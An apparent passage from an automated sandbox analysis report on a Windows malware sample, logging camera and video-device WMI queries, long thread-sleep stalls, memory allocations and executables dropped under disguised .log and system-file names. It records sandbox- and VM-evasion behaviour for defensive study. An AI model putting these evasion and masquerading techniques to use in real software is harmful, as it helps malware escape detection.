Source: C:\Users\user\Desktop\0wdppTE7Op.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\Desktop\0wdppTE7Op.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController

Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Memory allocated: 850000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Memory allocated: 1A7C0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Memory allocated: 1520000 memory reserve \| memory write watch
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Memory allocated: 1B3A0000 memory reserve \| memory write watch
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Memory allocated: 1300000 memory reserve \| memory write watch
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Memory allocated: 1AD90000 memory reserve \| memory write watch
Source: C:\Windows\Temp\Crashpad\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe	Memory allocated: A80000 memory reserve \| memory write watch
Source: C:\Windows\Temp\Crashpad\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe	Memory allocated: 1A6C0000 memory reserve \| memory write watch
Source: C:\Windows\Temp\Crashpad\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe	Memory allocated: A60000 memory reserve \| memory write watch
Source: C:\Windows\Temp\Crashpad\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe	Memory allocated: 1A9C0000 memory reserve \| memory write watch
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Memory allocated: EC0000 memory reserve \| memory write watch
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Memory allocated: 1A9A0000 memory reserve \| memory write watch
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Memory allocated: 1630000 memory reserve \| memory write watch
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Memory allocated: 1B000000 memory reserve \| memory write watch

Source: C:\Users\user\Desktop\0wdppTE7Op.exe

Code function: 0_2_00007FFD9BBD1090 sldt word ptr [eax]

0_2_00007FFD9BBD1090

Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Temp\Crashpad\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Temp\Crashpad\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 600000
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 599875
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 598891
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 598485
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 597938
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 3600000
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 596844
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 596157
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 595703
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 595235
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 594907
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 593907
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 593391
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 592797
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 592453
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 592188
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 592000
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 591375
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 590297
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 589891
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 589500
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 589032
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 588625
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 587469
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 586969
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 586578
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 586174
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 585844
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 585172
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 584218
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 300000
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 583813
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 583358
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 582750
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 582407
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 581938
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 581453
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 580407
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 580066
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 579625
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 579310
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 579171
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 579055
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 578920
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 578782
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 578438
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 577719
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 577514
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 577384
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 577188
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 577049
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 576873
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 576719
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 576532
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 576375
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 576263
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 576141
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 575969
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 575828
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 575682
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 575563
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 575358
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 574938
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 574607
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 574480
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 574284
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 574130
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 574000
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 573885
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 573775
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 573610
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 573482
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 573375
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 573256
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 573109
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 572996
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 572875
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 572766
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 572651
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 572479
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 571797
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 571668
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 571552
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 571407
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 571286
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 571125
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 571013
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 570903
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 570794
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 570672
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 570516
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 570369
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 570250
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 570134
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2262	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2475	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2485	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3054
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1966
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2275
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Window / User API: threadDelayed 9312

Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\HqRBAmEs.log	Jump to dropped file
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\DealcvOk.log	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Dropped PE file which has not been started: C:\Windows\System32\SecurityHealthSystray.exe	Jump to dropped file
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\jlNXDlep.log	Jump to dropped file
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\ZoLhjnQK.log	Jump to dropped file
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\oZfWghud.log	Jump to dropped file
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\CDADXqpE.log	Jump to dropped file
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\oIpWQWtP.log	Jump to dropped file
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\JGwsqFZW.log	Jump to dropped file
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\lBrNuEzT.log	Jump to dropped file
Source: C:\Users\user\Desktop\0wdppTE7Op.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\eLngwYfk.log	Jump to dropped file

Source: C:\Users\user\Desktop\0wdppTE7Op.exe TID: 7460	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2492	Thread sleep count: 2262 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7956	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7748	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7528	Thread sleep count: 2475 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7908	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7764	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6608	Thread sleep count: 2485 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7952	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7716	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3168	Thread sleep count: 3054 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7940	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7752	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7544	Thread sleep count: 1966 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7944	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7728	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7360	Thread sleep count: 2275 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7920	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7760	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\Desktop\0wdppTE7Op.exe TID: 5004	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\Desktop\0wdppTE7Op.exe TID: 1800	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\Temp\Crashpad\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe TID: 4900	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\Temp\Crashpad\SSnsduzASLgjHWjPpweraeKhUEuCEv.exe TID: 7900	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\Desktop\0wdppTE7Op.exe TID: 7460	Thread sleep time: -15679732462653109s >= -30000s
Source: C:\Users\user\Desktop\0wdppTE7Op.exe TID: 7460	Thread sleep time: -600000s >= -30000s
Source: C:\Users\user\Desktop\0wdppTE7Op.exe TID: 7240	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\Desktop\0wdppTE7Op.exe TID: 7460	Thread sleep time: -599875s >= -30000s
Source: C:\Users\user\Desktop\0wdppTE7Op.exe TID: 7460	Thread sleep time: -598891s >= -30000s
Source: C:\Users\user\Desktop\0wdppTE7Op.exe TID: 7460	Thread sleep time: -598485s >= -30000s
Source: C:\Users\user\Desktop\0wdppTE7Op.exe TID: 7460	Thread sleep time: -597938s >= -30000s
Source: C:\Users\user\Desktop\0wdppTE7Op.exe TID: 5460	Thread sleep time: -3600000s >= -30000s
Source: C:\Users\user\Desktop\0wdppTE7Op.exe TID: 7460	Thread sleep time: -596844s >= -30000s
Source: C:\Users\user\Desktop\0wdppTE7Op.exe TID: 7460	Thread sleep time: -596157s >= -30000s
Source: C:\Users\user\Desktop\0wdppTE7Op.exe TID: 7460	Thread sleep time: -595703s >= -30000s
Source: C:\Users\user\Desktop\0wdppTE7Op.exe TID: 7460	Thread sleep time: -595235s >= -30000s
Source: C:\Users\user\Desktop\0wdppTE7Op.exe TID: 7460	Thread sleep time: -594907s >= -30000s
Source: C:\Users\user\Desktop\0wdppTE7Op.exe TID: 7460	Thread sleep time: -593907s >= -30000s
Source: C:\Users\user\Desktop\0wdppTE7Op.exe TID: 7460	Thread sleep time: -593391s >= -30000s
Source: C:\Users\user\Desktop\0wdppTE7Op.exe TID: 7460	Thread sleep time: -592797s >= -30000s
Source: C:\Users\user\Desktop\0wdppTE7Op.exe TID: 7460	Thread sleep time: -592453s >= -30000s
Source: C:\Users\user\Desktop\0wdppTE7Op.exe TID: 7460	Thread sleep time: -592188s >= -30000s
Source: C:\Users\user\Desktop\0wdppTE7Op.exe TID: 7460	Thread sleep time: -592000s >= -30000s
Source: C:\Users\user\Desktop\0wdppTE7Op.exe TID: 7460	Thread sleep time: -591375s >= -30000s
Source: C:\Users\user\Desktop\0wdppTE7Op.exe TID: 7460	Thread sleep time: -590297s >= -30000s
Source: C:\Users\user\Desktop\0wdppTE7Op.exe TID: 7460	Thread sleep time: -589891s >= -30000s
Source: C:\Users\user\Desktop\0wdppTE7Op.exe TID: 7460	Thread sleep time: -589500s >= -30000s
Source: C:\Users\user\Desktop\0wdppTE7Op.exe TID: 7460	Thread sleep time: -589032s >= -30000s
